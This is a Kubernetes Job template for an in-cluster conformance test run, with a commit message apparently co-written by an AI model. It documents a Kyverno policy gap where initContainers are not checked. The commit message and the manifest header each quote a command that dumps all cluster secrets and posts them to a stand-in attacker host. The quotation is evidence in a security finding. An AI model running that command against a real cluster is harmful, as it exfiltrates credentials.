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home-network-k3s-impl/conformance/incluster/chainsaw-job.yaml
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jakman85andClaude Opus 5 d3d5f6d8d2
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feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:15:25 -05:00

297 lines
17 KiB
YAML

# =============================================================================
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
# -----------------------------------------------------------------------------
# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
# replace ONLY the init container's `args` with
# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
# and leave `containers[0]` untouched and compliant. Result:
# Applying 3 policy rule(s) to 1 resource(s)...
# pass: 3, fail: 0, warn: 0, error: 0, skip: 0
# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
# examined, so the exact escalation the policy exists to stop — the privileged
# conformance-runner SA executing an arbitrary command — is still reachable, one field
# over. This template's OWN init container does not exploit that; the gap is the policy's,
# and it existed before this file had an init container at all.
#
# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
# FOLLOW-UP, in order of preference:
# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
# add a 4th rule pinning `initContainers` to one container on the same digest-pinned
# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
# init container carries no caller-supplied code at all and the rule is one pattern.
# 2. Failing that, a rule denying any `initContainers` entry whose image is not the
# pinned runner image — weaker (the script stays caller-supplied) but it at least
# stops an arbitrary image running as conformance-runner.
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
# bash script full of legitimate `${...}` references; running the template through
# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
# this". Render with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
# trigger REPLACES it wholesale per invocation shape —
# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo",
# "--requirements", "<touched R-IDs>"]
# PHASE EXIT: ["--layer", "all", "--strict-coverage"]
# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
# to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
metadata:
generateName: conformance-run-
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
app.kubernetes.io/part-of: conformance
spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# The credential is a READ-ONLY Gitea token, referenced by secret name only. It
# reaches git through an inline credential helper that reads the ENVIRONMENT, so
# the token never appears in argv (where `ps` and the Pod spec would show it) and
# is never written to disk.
#
# `--depth 1` clones the default branch; the commit under test is usually its tip
# but must not be ASSUMED to be (the branch can advance between trigger and run,
# and a PR head is not the default branch at all). So: clone shallow, and if the
# SHA is not already present, fetch that one commit, then detach onto it and
# ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/bin/bash", "-c"]
args:
- |
set -euo pipefail
# A bad SHA must never degrade into "ran whatever the branch tip was".
if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
echo " The CI trigger did not substitute it, or substituted junk." >&2
exit 1
fi
mkdir -p "${TMPDIR}" "${HOME}"
# git's shell credential helper: invoked as `sh -c '<value> get'`, so it
# reads $1 and answers from the environment only.
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
git -c credential.helper="${CRED}" \
clone --depth 1 --no-tags --single-branch \
"${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
fi
git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
exit 1
fi
test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
|| { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
echo "==> suite ready at ${head}"
env:
# The repository under test is a committed literal, not a substitution: a
# template that lets the trigger choose the clone URL lets it choose the code.
- name: CONFORMANCE_REPO_URL
value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
- name: CONFORMANCE_SRC
value: /workspace/src
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
args: ["--layer", "all", "--strict-coverage"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
volumes:
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
- name: workspace
emptyDir: {}
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
- name: results
emptyDir: {}